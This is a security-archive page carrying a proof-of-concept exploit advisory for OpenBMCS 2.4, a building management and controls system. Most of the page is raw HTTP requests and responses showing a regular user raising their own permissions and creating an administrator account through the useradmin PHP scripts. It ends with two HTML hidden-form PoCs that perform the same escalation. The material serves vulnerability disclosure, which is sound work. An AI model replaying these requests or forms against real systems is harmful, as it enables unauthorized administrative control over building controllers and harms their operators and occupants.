exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

OpenBMCS 2.4 Remote Privilege Escalation

OpenBMCS 2.4 Remote Privilege Escalation
Posted Jan 17, 2022
Authored by LiquidWorm | Site zeroscience.mk

OpenBMCS version 2.4 create administrator proof of concept exploit that leverages a remote privilege escalation vulnerability.

tags | exploit, remote, proof of concept
SHA-256 | dfa165d919105379e965f9f7c64bc72209b082357f408421bbd7348be571f7ea
Download | Favorite | View

OpenBMCS 2.4 Remote Privilege Escalation

Change Mirror Download

OpenBMCS 2.4 Create Admin / Remote Privilege Escalation


Vendor: OPEN BMCS
Product web page: https://www.openbmcs.com
Affected version: 2.4

Summary: Building Management & Controls System (BMCS). No matter what the
size of your business, the OpenBMCS software has the ability to expand to
hundreds of controllers. Our product can control and monitor anything from
a garage door to a complete campus wide network, with everything you need
on board.

Desc: The application suffers from an insecure permissions and privilege
escalation vulnerability. A regular user can create administrative users
and/or elevate her privileges by sending an HTTP POST request to specific
PHP scripts in '/plugins/useradmin/' directory.

Tested on: Linux Ubuntu 5.4.0-65-generic (x86_64)
           Linux Debian 4.9.0-13-686-pae/4.9.228-1 (i686)
           Apache/2.4.41 (Ubuntu)
           Apache/2.4.25 (Debian)
           nginx/1.16.1
           PHP/7.4.3
           PHP/7.0.33-0+deb9u9


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2022-5693
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2022-5693.php


26.10.2021

--


List current ID and permissions (read):
---------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:53 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 692
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"17","username":"testingus","email":"","expiry_date":null,"fullname":"test","phone":"","module_id":"useradmin","usermodule_permission":"1","permissions":[{"user_id":"17","module_id":"alarms","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"controllers","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"core","permissions":"0","mod_home":"0"},{"user_id":"17","module_id":"graphics","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"history","permissions":"1","mod_home":"1"},{"user_id":"17","module_id":"progtool","permissions":"1","mod_home":"0"},{"user_id":"17","module_id":"useradmin","permissions":"1","mod_home":"0"}],"human-date":""}]



List current ID and permissions (admin):
----------------------------------------

POST /plugins/useradmin/getUserDetails.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 16
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

id_list%5B%5D=18

HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:56:36 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 725
Connection: close
Content-Type: text/html; charset=UTF-8

[{"user_id":"18","username":"testingus2","email":"testingus@test.tld","expiry_date":null,"fullname":"TestName","phone":"1112223333","module_id":"useradmin","usermodule_permission":"4","permissions":[{"user_id":"18","module_id":"alarms","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"controllers","permissions":"2","mod_home":"1"},{"user_id":"18","module_id":"core","permissions":"1","mod_home":"0"},{"user_id":"18","module_id":"graphics","permissions":"4","mod_home":"1"},{"user_id":"18","module_id":"history","permissions":"3","mod_home":"1"},{"user_id":"18","module_id":"progtool","permissions":"3","mod_home":"0"},{"user_id":"18","module_id":"useradmin","permissions":"4","mod_home":"0"}],"human-date":""}]



Escalate privileges:
--------------------

POST /plugins/useradmin/update_user_permissions.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 702
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5BmoduleID%5D=useradmin&id=17


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:58:48 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 1
Connection: close
Content-Type: text/html; charset=UTF-8

2



Create admin from read user:
----------------------------

POST /plugins/useradmin/create_user.php HTTP/1.1
Host: 192.168.1.222
Cookie: PHPSESSID=ecr4lvcqvkdae4eimf3ktqeqn4
Content-Length: 1010
Sec-Ch-Ua: "Chromium";v="95", ";Not A Brand";v="99"
Accept: */*
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36
Sec-Ch-Ua-Platform: "Windows"
Origin: https://192.168.1.222
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://192.168.1.222/index.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close

user%5Busername%5D=testingus2&user%5Bfullname%5D=TestName&user%5Bphone%5D=1112223333&user%5Bpassword%5D=Password123&user%5BpasswordConfirm%5D=Password123&user%5Bemail%5D=testingus%40test.tld&user%5Bexpiry%5D=&permissions%5B0%5D%5BmoduleID%5D=alarms&permissions%5B0%5D%5Bpermissions%5D=3&permissions%5B0%5D%5Bmod_home%5D=1&permissions%5B1%5D%5BmoduleID%5D=controllers&permissions%5B1%5D%5Bpermissions%5D=2&permissions%5B1%5D%5Bmod_home%5D=1&permissions%5B2%5D%5BmoduleID%5D=core&permissions%5B2%5D%5Bpermissions%5D=1&permissions%5B2%5D%5Bmod_home%5D=0&permissions%5B3%5D%5BmoduleID%5D=graphics&permissions%5B3%5D%5Bpermissions%5D=4&permissions%5B3%5D%5Bmod_home%5D=1&permissions%5B4%5D%5BmoduleID%5D=history&permissions%5B4%5D%5Bpermissions%5D=3&permissions%5B4%5D%5Bmod_home%5D=1&permissions%5B5%5D%5BmoduleID%5D=progtool&permissions%5B5%5D%5Bpermissions%5D=3&permissions%5B5%5D%5Bmod_home%5D=0&permissions%5B6%5D%5BmoduleID%5D=useradmin&permissions%5B6%5D%5Bpermissions%5D=4&permissions%5B6%5D%5Bmod_home%5D=0


HTTP/1.1 200 OK
Date: Tue, 16 Nov 2021 20:18:58 GMT
Server: Apache/2.4.41 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Length: 20
Connection: close
Content-Type: text/html; charset=UTF-8

{"status":"success"}



PoC escalate from editor to admin:
----------------------------------

<html>
  <body>
    <form action="https://192.168.1.222/plugins/useradmin/update_user_permissions.php" method="POST">
      <input type="hidden" name="permissions[0][permissions]" value="3" />
      <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
      <input type="hidden" name="permissions[0][mod_home]" value="1" />
      <input type="hidden" name="permissions[1][permissions]" value="2" />
      <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
      <input type="hidden" name="permissions[1][mod_home]" value="1" />
      <input type="hidden" name="permissions[2][permissions]" value="1" />
      <input type="hidden" name="permissions[2][moduleID]" value="core" />
      <input type="hidden" name="permissions[3][permissions]" value="4" />
      <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
      <input type="hidden" name="permissions[3][mod_home]" value="1" />
      <input type="hidden" name="permissions[4][permissions]" value="3" />
      <input type="hidden" name="permissions[4][moduleID]" value="history" />
      <input type="hidden" name="permissions[4][mod_home]" value="1" />
      <input type="hidden" name="permissions[5][permissions]" value="3" />
      <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
      <input type="hidden" name="permissions[6][permissions]" value="4" />
      <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
      <input type="hidden" name="id" value="17" />
      <input type="submit" value="Esc" />
    </form>
  </body>
</html>



PoC create admin from editor:
-----------------------------

<html>
  <body>
    <form action="https://192.168.1.222/plugins/useradmin/create_user.php" method="POST">
      <input type="hidden" name="user[username]" value="testingus2" />
      <input type="hidden" name="user[fullname]" value="TestName" />
      <input type="hidden" name="user[phone]" value="1112223333" />
      <input type="hidden" name="user[password]" value="Password123" />
      <input type="hidden" name="user[passwordConfirm]" value="Password123" />
      <input type="hidden" name="user[email]" value="testingus@test.tld" />
      <input type="hidden" name="user[expiry]" value="" />
      <input type="hidden" name="permissions[0][moduleID]" value="alarms" />
      <input type="hidden" name="permissions[0][permissions]" value="3" />
      <input type="hidden" name="permissions[0][mod_home]" value="1" />
      <input type="hidden" name="permissions[1][moduleID]" value="controllers" />
      <input type="hidden" name="permissions[1][permissions]" value="2" />
      <input type="hidden" name="permissions[1][mod_home]" value="1" />
      <input type="hidden" name="permissions[2][moduleID]" value="core" />
      <input type="hidden" name="permissions[2][permissions]" value="1" />
      <input type="hidden" name="permissions[2][mod_home]" value="0" />
      <input type="hidden" name="permissions[3][moduleID]" value="graphics" />
      <input type="hidden" name="permissions[3][permissions]" value="4" />
      <input type="hidden" name="permissions[3][mod_home]" value="1" />
      <input type="hidden" name="permissions[4][moduleID]" value="history" />
      <input type="hidden" name="permissions[4][permissions]" value="3" />
      <input type="hidden" name="permissions[4][mod_home]" value="1" />
      <input type="hidden" name="permissions[5][moduleID]" value="progtool" />
      <input type="hidden" name="permissions[5][permissions]" value="3" />
      <input type="hidden" name="permissions[5][mod_home]" value="0" />
      <input type="hidden" name="permissions[6][moduleID]" value="useradmin" />
      <input type="hidden" name="permissions[6][permissions]" value="4" />
      <input type="hidden" name="permissions[6][mod_home]" value="0" />
      <input type="submit" value="Cre" />
    </form>
  </body>
</html>
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Site Links
News by Month
News Tags
Files by Month
File Tags
File Directory
About Us
History & Purpose
Contact Information
Terms of Service
Privacy Statement
Copyright Information
Services
Security Services
Hosting By
Rokasec
close